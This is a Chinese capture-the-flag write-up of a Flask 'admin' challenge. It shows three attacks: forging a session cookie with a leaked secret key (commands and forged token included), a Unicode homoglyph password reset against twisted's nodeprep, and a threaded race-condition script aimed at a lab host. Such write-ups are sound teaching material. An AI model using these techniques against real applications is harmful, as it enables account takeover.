注册
与
登录
两个功能
you are not admin
注意到session的值很有特点:
.eJw9kEFrwkAUhP9K2bOHZLWXgIfIpsHA2yWyMbx3EatJsy9ZC6YluuJ_b_DQ4wzMx8w8xKG9NmMnkvY4jM1CHNxZJA_x9ikSAaoPxqYxMk5oB4c2i8h2HfHZIesOQxbI7xyGaoJQ3U2erYzdO6PKu5bVpO1pIgURBoiBNZOfPQkB5G4ATiMtswjrckk2nYg3PfE2gMK7nrWxRQ-M0qj0Hexm0H7H4MmRLyXW2Q25mubcSquBoca1eC7Eaby2h5_vvrn8T9D5nkl9BZOXS10XTHMNsNubVkUHsuhI7R3lHwyqDEadVmBTieX6hbscfTMjjmfvLmIhfsfm-npHxLF4_gH6DWZv.YEOhSw.aY9S_eCZOoAgjRCUHGxqCnXoyr0
所以可以猜到是利用了Flask session机制产生的session值
https://jwt.io/
这是一个关于flask session的加解密网站
在/change
页面的源码中发现https://github.com/woadsl1234/hctf_flask/
浏览网站,在config.py
中发现了secret key
是ckj123
我们结合加解密脚本:
先进行解密:
python flask_session_cookie_manager3.py decode -s "ckj123" -c ".eJw9kEGLwjAUhP_KkrOHNnYvgodKusXCS6iklvcu4mrd5rVxoSrViP99i4c9zsB8zMxT7E5Dc2nF4jrcmpnYuaNYPMXHt1gIUF0wNo2RcUTbO7RZRLZtiY8OWbcYskB-4zBUI4TqYfIsMXbrjCofWlajtoeRFEQYIAbWTH7yJASQmx44jbTMIqzLOdl0JF51xOsACh960sYWHTBKo9JPsKte-w2DJ0e-lFhnd-RqnHKJVj1DjUvxmonDZTjtrr9dc_6foPMtk_oJJi_nui6Yphpg13etihZk0ZLaOsq_GFQZjDokYFOJ5fKNO-99MyH2R-_OsZiJ26UZ3veIOBavPwJ9ZlU.Xhpxig.hIQoJq3OWXbaekJ3fHF0Tl1cQPQ"
返回结果:
{
'_fresh': True, '_id': b'093905b60a9ba14e8af7bb3ac13fdbc503528a895b8427e0570d34c3523cfe07c33de2047a4ad7e00f0df2306250092d26680910e6dc2fbfd6aa1b50e0849c1f', 'csrf_token': b'4ecd838d75bcf3c12142a3bad5bdac043878106a', 'name': 'admin1', 'user_id': '11'}
将admin1
改成admin
然后重新加密:
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'093905b60a9ba14e8af7bb3ac13fdbc503528a895b8427e0570d34c3523cfe07c33de2047a4ad7e00f0df2306250092d26680910e6dc2fbfd6aa1b50e0849c1f', 'csrf_token': b'4ecd838d75bcf3c12142a3bad5bdac043878106a', 'name': 'admin', 'user_id': '11'}"
返回结果:
.eJw9kEGLwjAUhP_KkrOHNnYvgodKusXCS6iklvcu4mrd5rVxoSrViP99i4c9zsB8zMxT7E5Dc2nF4jrcmpnYuaNYPMXHt1gIUF0wNo2RcUTbO7RZRLZtiY8OWbcYskB-4zBUI4TqYfIsMXbrjCofWlajtoeRFEQYIAbWTH7yJASQmx44jbTMIqzLOdl0JF51xOsACh960sYWHTBKo9JPsKte-w2DJ0e-lFhnd-RqnHKJVj1DjUvxmonDZTjtrr9dc_6foPMtk_oJJi_nui6Yphpg13etihZk0ZLaOsq_GFQZjDokYFOJ5fKNO-99MyH2R-_OYiZul2Z4vyPiWLz-AJ2yZiQ.YEOhNg.ueQTB6HrDkV5Uq816baaJRQyQ5w
最后修改session即可
unicode同形字引起的安全问题
浅谈Unicode设计的安全性
这个考点才是本题的预期:
这是spotify的一个漏洞,因为nodeprep.prepare()函数,导致可以修改任意用户密码
nodeprep.prepare方法会将字符ᴬ转成A,再调用一次转成a。
twisted库的nodeprep.prepare()会将内容转为小写,且将其它类的编码转为ASCii;我们提交(可以查到各个字母的替换类型 )“ᴬ”nodeprep.prepare()函数转为“A”,再次(二次)nodeprep.prepare()函数会将“A”转为“a”;这是twisted库函数的特点。
流程:
1、注册ᴬdmin,经过处理Admin被插入到数据库中。
2、登录ᴬdmin。在登录的时候ᴬdmin被处理成Admin,Admin被写入session[‘name’]。
3、修改密码,此时修改的是admin的密码
4、之后再使用admin登录。在修改密码的时候Admin被处理成了admin。
5、用admin登录拿到flag。
附上两个查Unicode的网站:
https://unicode-table.com/en/137B/
https://www.compart.com/en/unicode/
思路就是:由于注册、登录处没有判断是否是admin用户,就贸然进行了session['name'] = name
的操作,且修改密码函数处,正是利用session['name']
来判断修改谁的密码。此处就有条件竞争
赶在执行B
前就执行ACD
,那么是不是就有机会成功修改到admin账号的密码呢?
一个进程尝试注册登录admin账号,另一个进程尝试修改密码。session['admin']
始终有机会被CD
利用执行
import requests import threading
def login(s, username, password):
data = {
'username': username, 'password':password, 'submit': ''}
return s.post("http://4d4e490c-4627-458b-8dd1-527ce7e1b0c9.node3.buuoj.cn/login", data=data)
def logout(s):
return s.get("http://4d4e490c-4627-458b-8dd1-527ce7e1b0c9.node3.buuoj.cn/logout")
def change(s, newpassword):
data = {
'newpassword':newpassword }
return s.post("http://4d4e490c-4627-458b-8dd1-527ce7e1b0c9.node3.buuoj.cn/change", data=data)
def func1(s):
login(s, 'ddd', 'ddd')
change(s, 'qweqweabcabc')
def func2(s):
logout(s)
res = login(s, 'admin', 'qweqweabcabc')
if '/index' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start()
t2.start()
if __name__ == "__main__":
main()